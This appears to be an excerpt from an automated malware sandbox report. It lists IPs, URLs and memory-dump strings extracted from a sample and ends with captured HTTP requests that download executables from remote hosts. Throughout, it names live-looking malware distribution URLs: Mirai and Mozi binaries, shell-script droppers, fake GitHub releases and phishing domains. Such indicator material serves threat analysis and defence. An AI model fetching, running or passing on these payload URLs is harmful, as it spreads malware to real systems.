"ttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0011/11022020084204/info.ziphttp://201.16.194.227:2550/TmpFTP/MDF-e/02/Encerramento/2019-11-07/info.ziphttp://201.16.194.227:2550/TmpFTP/Manifesta%C3%A7%C3%A3o/Situa%C3%A7%C3%A3o/2020-10-07/info.ziphttp://201.16" "1.16.194.227:2550/TmpFTP/MDF-e/02/Encerramento/2019-10-28/info.ziphttp://201.16.194.227:2550/TmpFTP/Manifesta%C3%A7%C3%A3o/Situa%C3%A7%C3%A3o/2020-04-02/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0021/001/08-2019/01/info.ziphttp://201.16.194" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "re%C3%A7%C3%A3o/2020-11-18/info.ziphttp://201.16.194.227:2550/TmpFTP/Manifesta%C3%A7%C3%A3o/Situa%C3%A7%C3%A3o/2019-12-18/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0021/14102019094817/info.ziphttp://201.16.194.227:2550/TmpFTP/MDF-e/02/Encerrame" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "0/TmpFTP/LOG_AJUSTEFOS/0022/001/01-2020/04/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0021/001/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0021/26082020084159/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0021/13102020085628/in" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "ELCACHEPRODUTOSEG/1/0021/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0011/13022020135302/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0020/15112019075337/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0011/19112019083249/info.ziphtt" "01.16.194.227:2550/TmpFTP/EXTCONS/1/0020/24122019093903/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0021/20112020075653/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0011/002/02-2020/23/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUS" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "2550/TmpFTP/EXTCONS/1/0022/03122019110948/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0021/15062020120854/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0022/001/10-2019/23/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0022/001" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "S/0011/001/10-2019/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0020/27012020075725/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0022/12032020111238/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0021/001/05-2020/21/info.ziphttp:" Potential IPs "200.14.250.72" "200.14.250.72" "200.14.250.72" "200.14.250.72" found in string "://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8050/04092024120154/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8029/01082024110241/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8029/14072024110540/info.ziphttp://200.14.250.72/TmpFTP" Potential IPs "200.14.250.72" "200.14.250.72" "200.14.250.72" "200.14.250.72" found in string "tp://200.14.250.72/TmpFTP/EXTCONS/1/8334/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8029/08082024114317/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8051/18072024151745/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/80" Potential IPs "200.14.250.72" "81.230.40.198" "2.54.98.68" "78.70.203.243" "78.70.203.243" "85.26.210.212" found in string "0/info.ziphttp://200.14.250.72/TmpFTP/DELCACHEPRODUTOSEG/1/8051/18072024070807/info.ziphttp://81.230.40.198:52949/ihttp://2.54.98.68:802/sshdhttp://78.70.203.243:44832/ihttp://78.70.203.243:44832/bin.shhttp://85.26.210.212:41505/ihttp://85.26.210" Potential IPs "178.16.53.7" "122.156.143.62" "152.136.139.105" "37.112.166.114" "190.7.149.242" "69.125.156.5" found in string "xehttp://178.16.53.7/cvdfnaFJBmC1/Plugins/clip.dllhttp://122.156.143.62:24916/ihttp://152.136.139.105:6666/02.08.2022.exehttp://37.112.166.114:54341/ihttp://190.7.149.242:15070/ihttp://69.125.156.5:2006/ihttps://od.lk/d/MzJfNDU3NDEwNzJf/DVgiHou17" Potential IPs "119.91.238.101" "1.15.230.7" "1.15.230.7" "43.140.214.197" "161.132.50.128" found in string "230.7:8888/DebugView%2b%2b.exehttp://119.91.238.101:8888/WxWorkApis.dllhttp://1.15.230.7:8888/WxWorkApis.dllhttp://1.15.230.7:8888/WxWorkMultiOpen.exehttp://43.140.214.197:8888/DebugView%2b%2b.exehttp://161.132.50.128:88/mlwr/MLAV-Linux-ELFhttp://1" Potential IPs "116.171.106.3" "116.171.106.3" "116.171.106.3" found in string "m/vkl/ckts/rgsy/system/operationsetting/service/info.ziphttp://116.171.106.3:3435/%E6%96%B0%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/info.ziphttp://116.171.106.3:3435/tomcat8/webapps/bfxt_pda/info.ziphttp://116.171.106.3:3435/tomcat8/webapps/bfxt/WEB-INF/classes" Potential IPs "43.226.39.44" "198.50.242.157" found in string "exehttp://43.226.39.44:5988/TestPTE.exehttps://d3cciiowg5l3jx.cloudfront.net/RH/setup.exehttps://mogimall.com/pds/mogimall/giftorder/Updater.exehttps://tapestryoftruth.com/media/video_file/Round_Setup.exehttp://198.50.242.157/cfxre.exehttp://43.226" Potential IPs "36.88.6.203" "202.152.45.93" "212.70.156.70" "45.115.252.130" "107.180.89.159" found in string "c/refs/heads/main/payload.binhttps://github.com/AdobePdf-Reader/Pdf-Reader/raw/refs/heads/main/Pdf%20Reader.exehttp://36.88.6.203:8907/ihttp://202.152.45.93:37048/ihttp://212.70.156.70:43412/ihttp://45.115.252.130:19579/ihttps://107.180.89.159/wp-c" Potential IPs "178.136.225.254" "186.138.107.5" "197.245.244.254" "197.232.133.112" "81.12.157.98" "185.136.193.107" "117.20.27.25" found in string "ds/main/srtware.exehttp://178.136.225.254:9840/.ihttp://186.138.107.5:14491/.ihttp://197.245.244.254:37898/.ihttp://197.232.133.112:63311/.ihttp://81.12.157.98:29167/.ihttp://185.136.193.107:11053/.ihttp://117.20.27.25:21414/.ihttp://182.93.83." Potential IPs "103.174.191.145" "87.121.112.46" found in string "lient/Client.exe.ziphttp://103.174.191.145:88/maxz/update/Client/DSETUP.dll.ziphttp://87.121.112.46/nok/x86https://github.com/barrigudinha157/barrigudinha/raw/master/Rage.dllhttps://pastebin.com/raw/2d424qWNhttps://github.com/FiIes/StormFN-Launcher/r" Potential IPs "77.238.209.82" "36.88.109.138" "64.140.105.9" "81.16.249.96" "83.166.197.212" "103.173.173.98" "190.145.205.178" found in string "Mozi.mhttp://77.238.209.82:26331/Mozi.mhttp://36.88.109.138:25236/Mozi.mhttp://64.140.105.9:44920/Mozi.mhttp://81.16.249.96:46703/Mozi.mhttp://83.166.197.212:34117/Mozi.mhttp://103.173.173.98:58982/Mozi.mhttp://190.145.205.178:6360/Mozi.mhttp:/" Potential IPs "154.216.19.139" "154.216.19.139" "154.216.19.139" found in string "ive.org/web/20240808121041if_/http://154.216.19.139/bins/mirai.armv6lhttp://web.archive.org/web/20240808121230if_/http://154.216.19.139/bins/mirai.i586http://web.archive.org/web/20240808122636if_/http://154.216.19.139/bins/mirai.sparchttp://web.archive.o" Potential IPs "178.176.204.250" "212.93.103.10" "112.4.110.22" "193.160.10.213" "24.234.159.5" "223.108.58.13" "165.73.108.6" "165.73.108.6" found in string "shdhttp://178.176.204.250:83/sshdhttp://212.93.103.10:51080/sshdhttp://112.4.110.22:37782/sshdhttp://193.160.10.213:59786/sshdhttp://24.234.159.5:1112/sshdhttp://223.108.58.13:37782/sshdhttp://165.73.108.6:8021/sshdhttp://165.73.108.6:8023/sshd" Potential IPs "122.201.25.95" "103.16.75.50" "178.34.177.42" "46.52.164.170" "188.44.110.215" "182.253.60.198" "46.214.31.179" "193.228.134.161" "103.245.10.5" found in string "tp://122.201.25.95:56567/ihttp://103.16.75.50:61962/ihttp://178.34.177.42:41638/ihttp://46.52.164.170:29443/ihttp://188.44.110.215:60566/ihttp://182.253.60.198:46757/ihttp://46.214.31.179:25098/ihttp://193.228.134.161:62706/ihttp://103.245.10.5" "1.9.4.0" "192.168.0.2" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "sion=4.0.0.0" "2.5.29.10" "2.5.29.19" "2.5.29.14" "2.5.29.15" "2.5.29.37" Potential IP "11.92.1.1" found in string "11.92.1.1!7" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.32" "2.5.29.31" Potential IP "2.5.29.35" found in string "#2.5.29.35"7a:T3ea0,Pattern match: "https://urlhaus.abuse.ch/downloads/text_online/" Pattern match: "https://tlauncher.org/en/privacy-policy.html" Pattern match: "https://tlauncher.org/ru/privacy-policy.html" Pattern match: "https://www.oracle.com/downloads/licenses/javase-license1.html" Pattern match: "tlauncher.org/en/privacy-policy.htmlutlauncherc" Pattern match: "https://ad.tlauncher.org/link/tl-site-installer-en" Pattern match: "https://ad.tlauncher.org/link/tl-site-installer-ru" Heuristic match: "urlhaus.abuse.ch" Heuristic match: "uploadsfre.com" Heuristic match: "dl2.tlauncher.org" Heuristic match: "telegram.me" Heuristic match: "cwwgg-p5wdxtar.com" Heuristic match: "silverfox.com" Pattern match: "http://182.124.252.171:33043/bin.shhttp://182.126.127.164:51808/ihttp://182.126.87.62:50800/ihttp://110.39.226.65:55366/ihttp://110.37.113.135:39268/ihttp://178.16.54.200/files/814870813/8acq1rp.exehttp://182.126.127.164:51808/bin.shhttp://24.54" Pattern match: "http://42.228.37.175:48217/bin.shhttp://123.129.132.101:36353/ihttp://61.137.133.50:44440/ihttp://110.39.227.195:36251/bin.shhttp://42.231.93.149:42812/bin.shhttp://123.188.69.119:52775/ihttp://61.137.133.50:44440/bin.shhttp://115.56.148.166:4686" Pattern match: "http://115.58.148.86:45813/ihttp://190.103.84.30:10819/ihttp://83.233.83.199:59946/ihttp://190.103.84.30:10819/bin.shhttp://42.55.21.214:42609/bin.shhttp://42.57.39.123:55666/ihttp://83.233.83.199:59946/bin.shhttp://42.57.39.123:55666/bin.shht" Pattern match: "ngen-portal.com/kvariant.spchttp://relais-logistique-colis.com/kvariant.archttp://paketzustellungen.com/kvariant.arm5http://mondialrelay-trajet.com/kvariant.arm7http://mondial-infomyrelais.com/kvariant.armhttp://depot-marchandise.com/kvariant.ppcht" Pattern match: "livraison-en-attente.com/shhttp://aaaaaaaaaaaaaaaaa.com/kvariant.archttp://verif-mondial.com/kvariant.arm6http://csomagklds-2025.com/kvariant.m68khttp://colis-mondial.net/kvariant.m68khttp://netflx-assinatura-colecao.com/kvariant.arm5http://instru" Pattern match: "archive.org/download/wp4055032-l-wallpapers_with_b64/wp4055032-l-wallpapers_with_b64.jpghttp://tehnomag.rs/wheatw.pfmhttps://tehnomag.rs/wheatw.pfmhttp://23.95" Pattern match: "http://177.70.102.232:8090/tmpftp/01/recep%c3%a7%c3%a3o/2019-11-04/info.ziphttp://177.70.102.232:8090/tmpftp/01/recep%c3%a7%c3%a3o/2020-10-03/info.ziphttp://177.70.102.232:8090/tmpftp/01/recep%c3%a7%c3%a3o/2022-05-20/info.ziphttp://177.70.102.232:8090/t" Pattern match: "adomd.net/100/in" Pattern match: "http://62.228.75.114:8080/photo.lnkhttp://94.203.254.14/av.lnkhttp://1.64.40.207/video.lnkhttp://177.70.102.228:8070/tmpftp/01/consulta/2021-06-10/info.ziphttp://80.11.25.16:41800/video.lnkhttp://177.70.102.228:8070/tmpftp/ct-e/distribui%c3%a7%c3%a3" Pattern match: "adomd.net/info.ziphttp://177.70.102.228:8070/tmpftp/td00000000000000633210/info.ziphttp://202.107.235.202:8088/%e5%b8%b8%e7%94%a8%e8%bd%af%e4%bb%b6/sqlfull_chs/x86/setup/sql_common_core_loc_msi/2052/pfiles/sqlservr/100/tool" Pattern match: "adomd.net/100/info.ziphttp://202.107.235.202:8088/%e5%b8%b8%e7%94%a8%e8%bd%af%e4%bb%b6/sqlfull_chs/x86/setup/sql_engine_core_shared_loc_msi/2052/pfiles/sqlservr/100/dts/feenmer/res/2052/info.ziphttp://202.107.235.202:8088/%e5%b8%b8%" Pattern match: "adomd.net/100/info.ziphttp://177.70.102.228:8070/tmpftp/td00000000000000617432/info.ziphttp://177.70.102.232:8090/tmpftp/01/recep" Pattern match: "od.lk/d/mzjfndu3ndewnzjf/dvgihou17" Pattern match: "raw.githubusercontent.com/erez-goldberg/iso-file-testing/main/pleaserunme.isohttps://raw.githubusercontent.com/c5hackr/phantom/main/phantom/resources/uac64.dllhttps://raw.githubusercontent.com/lehila" Pattern match: "d3cciiowg5l3jx.cloudfront.net/rh/setup.exehttps://mogimall.com/pds/mogimall/giftorder/updater.exehttps://tapestryoftruth.com/media/video_file/round_setup.exehttp://198.50.242.157/cfxre.exehttp://43.226" Pattern match: "github.com/hackhackboyss/crypto-aml-check/releases/download/v1.0/software.ziphttps://github.com/zackkung688/split-fiction/releases/download/lavalike/splitfiction-lavalike.ziphttps://github.com/tuliodrx/ovh-ddos/releases/download/2.5.6/ovh-ddos-2.5.6.z" Pattern match: "thub.com/mehedihasanfarabi10/newlaravel/releases/download/v2.0/software.ziphttps://github.com/mehedihasanfarabi10/fortify-auth-laravel/releases/download/v2.0/software.ziphttps://github.com/mehedihasanfarabi10/book-e-commerce/releases/download/v2.0/software" Pattern match: "github.com/whathedogding/bitpay-crypto-signal-trading-bot-analysis-signal-masters-trading-crypto/releases/download/v2.0/software.ziphttps://github.com/naiahahah/musicbox/releases/download/v1.0/release.ziphttps://github.com/julianarpr/coinbase-wallet-pytho" Pattern match: "github.com/antonio12gkn71/underlayer/releases/download/v1.0/application.ziphttps://github.com/yamenstarxtheking/sumitrmalik.io/releases/download/v1.0/soft.ziphttps://github.com/sundarlalji/autoimport/releases/" Pattern match: "github.com/yunichi/livekit-voice-ai-agent-setup/releases/download/v2.0/software.ziphttps://github.com/dy1365/smiles2dta-demo/releases/download/v1.0/application.ziphttps://github.com/darkskin508/thor/releases/download/v1.0/application.ziphttps://gith" Pattern match: "github.com/amoni2019/fonepaw-screen-recorder-free/releases/download/v2.0/software.ziphttps://github.com/daveyisbricked/movie-finder-react/releases/download/v1.0/software.ziphttps://github.com/daveyisbricked/movie-find" Pattern match: "github.com/junayed-tasnur/youtube_playlist_downloader/releases/download/v2.0/application.ziphttps://github.com/naiahahah/musicbox/releases/download/v2.0/software.ziphttps://" Pattern match: "img1.wsimg.com/blobby/go/5a9e93e0-0f17-4e5e-a00c-88e3958ec770/downloads/modexad.pdfhttps://img1.wsimg.com/blobby/go/0bdc9896-149c-4815-8e37-9e55432c4120/down" Pattern match: "img1.wsimg.com/blobby/go/e0336533-680f-4ead-a55e-7e292796b70a/downloads/veteluruxoge.pdfhttps://img1.wsimg.com/blobby/go/7c4463e3-109c-48af-b9be-98e22cdf2116/downloads/sirijega.pdfhttps://img1.wsimg.com/blobby/go/5c2804a6-aa9c-48a0-92" Pattern match: "img1.wsimg.com/blobby/go/445dfc81-a427-4468-a541-314294ee0cbb/downloads/43947647531.pdfhttps://img1.wsimg.com/blobby/go/7ebcf742-ccb2-4edb-bbc1-6f67ead5b604/downloads/97640682614.pdfhttps://img1" Pattern match: "img1.wsimg.com/blobby/go/7c4463e3-109c-48af-b9be-98e22cdf2116/downloads/geruzirejexexani.pdfhttps://img1.wsimg.com/blobby/go/de9d9f96-a289-4877-85d4-e6d2d4cc419c/downloads/minerva_t2000_manual.pdfhttps://img1.wsimg.c" Pattern match: "img1.wsimg.com/blobby/go/7c4463e3-109c-48af-b9be-98e22cdf2116/downloads/45659404876.pdfhttps://img1.wsimg.com/blobby/go/88933df5-ca10-43b5-b140-6aa02868b89c/downloads/80200009732.pdfhttps://img1.wsimg.com" Pattern match: "img1.wsimg.com/blobby/go/697088a1-6c9a-496e-9a4d-922308cd97be/downloads/42508658220.pdfhttps://img1.wsimg.com/blobby/go/d37a9b24-bc42-4cb1-ab3b-3d1b21b01aec/downloads/sotax_a" Pattern match: "img1.wsimg.com/blobby/go/33bb6cfc-294d-4317-8afb-5d34ed60ffe6/downloads/20222176664.pdfhttps://img1.wsimg.com/blobby/go/671d8571-de15-47bb-8cd8-b624751dbe0e/downloads/72454635563.pdfhttps://img1.wsimg.com/blobby/go/7c4463e3-109c-48af-b" Pattern match: "github.com/adobepdf-reader/pdf-reader/raw/refs/heads/main/pdf%20reader.exehttp://36.88.6.203:8907/ihttp://202.152.45.93:37048/ihttp://212.70.156.70:43412/ihttp://45.115.252.130:19579/ihttps://107.180.89.159/wp-c" Pattern match: "github.com/barrigudinha157/barrigudinha/raw/master/rage.dllhttps://pastebin.com/raw/2d424qwnhttps://github.com/fiies/stormfn-launcher/r" Pattern match: "ive.org/web/20240808121041if_/http://154.216.19.139/bins/mirai.armv6lhttp://web.archive.org/web/20240808121230if_/http://154.216.19.139/bins/mirai.i586http://web.archive.org/web/20240808122636if_/http://154.216.19.139/bins/mirai.sparchttp://web.archive.o" Pattern match: "storage.googleapis.com/rv8i00aqhy9h.appspot.com/w/3cfyb8wwk0rbazs.html?b=078869956064707140https://storage.googleapis.com/ty9i5j0gyv05.appspot.com/w/3hiwrrbg7kfgwix.html?b=034842339434253164https://storage.go" Pattern match: "b8-cksal16.exe/%ec%9d%b8%ed%84%b0%eb%84%b7_%ec%a2%85%eb%9f%89%ec%a0%9c_%ed%85%8c%ec%8a%a4%ed%8a%b8-cksal16.exehttps://docs.goog" Pattern match: "users.atw.hu/toneraruhaz/wp-admin/network/installer.rarhttp://users.atw.hu/fvlmodell/letoltes/files/scalecalc.exehttp://kamin-premium.ru/85nojvodyz/biz/businesshttp://robertrowe.com/vqd0d5/http://hasalltalent.com/factures-09-" Pattern match: "go.com/sectigopublictimestampingcar36.crt0#" Pattern match: "http://www.company.com/" Heuristic match: "mailto:support@company.com" Heuristic match: "jt0.mt" Heuristic match: "ailto:support@company.com" Pattern match: "www.company.com/" Pattern match: "http://schemas.microsoft.com/smi/2017/windowssettings" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "exe.co" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "v|.kh" Heuristic match: "m.web.co" Heuristic match: "tem.se" Heuristic match: "/.net/netclasses/httpwebrequest/connect__group$$/" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315#withcomments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#withcomments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/tr/1999/rec-xpath-19991116" Pattern match: "http://www.w3.org/tr/1999/rec-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#xml" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://schemas.microsoft.com/.netconfiguration/v2.0" Pattern match: "system.web/anonymousidentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browsercaps" Pattern match: "system.web/clienttarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customerrors" Pattern match: "system.web/deployment" Pattern match: "system.web/devicefilters" Pattern match: "system.web/fulltrustassemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthmonitoring" Pattern match: "system.web/hostingenvironment" Pattern match: "system.web/httpcookies" Pattern match: "system.web/httphandlers" Pattern match: "system.web/httpmodules" Pattern match: "system.web/httpruntime" Pattern match: "system.web/identity" Pattern match: "system.web/machinekey" Pattern match: "system.web/membership" Pattern match: "system.web/mobilecontrols" Pattern match: "system.web/pages" Pattern match: "system.web/partialtrustvisibleassemblies" Pattern match: "system.web/processmodel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/rolemanager" Pattern match: "system.web/securitypolicy" Pattern match: "system.web/sessionpagestate" Pattern match: "system.web/sessionstate" Pattern match: "system.web/sitemap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlmappings" Pattern match: "system.web/webcontrols" Pattern match: "system.web/webparts" Pattern match: "system.web/webservices" Pattern match: "system.web/xhtmlconformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputcache" Pattern match: "system.web/caching/outputcachesettings" Pattern match: "system.web/caching/sqlcachedependency" Pattern match: "urlhaus.abuse.ch/downloads/text_online/" Pattern match: "www.uploadsfre.com0" Pattern match: "www.digicert.com1$0" Heuristic match: "*.abuse.ch" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1!0" Heuristic match: "om/vslogo.gi" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "www.t-launcher.site0"7b:Tf5e,Found URL "https://urlhaus.abuse.ch/downloads/text_online/.exe/.net/netclasses/httpwebrequest/connect__group$$/.appdomainnet_osinstalltypelicense_fileloader_optimizationsoftware\microsoft\windows" - Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryfile:http:\\?\globalroot" - Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://crl.micro/ob," - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lu%s" - Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp")7c:T7a8,GET /downloads/text_online/ HTTP/1.1 Host: urlhaus.abuse.ch Connection: Keep-Alive GET /files/814870813/8aCq1Rp.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /files/6041505593/g67DNdL.exe HTTP/1.1 GET /files/814870813/i81fwxp.exe HTTP/1.1 GET /cooking.exe HTTP/1.1 Host: uploadsfre.com Connection: Keep-Alive GET /files/7453936223/lJ5IwxN.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /http.server/elf.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/sys.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/sup.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/tmp.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /crypted_guardfile.exe HTTP/1.1 Host: 196.251.115.22 Connection: Keep-Alive GET /files/unique5/random.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Setup Factory 10.0 Host: dl2.tlauncher.org Connection: Keep-Alive Cache-Control: no-cache GET /rabert.exe HTTP/1.1 Host: 194.180.49.148:8900 Connection: 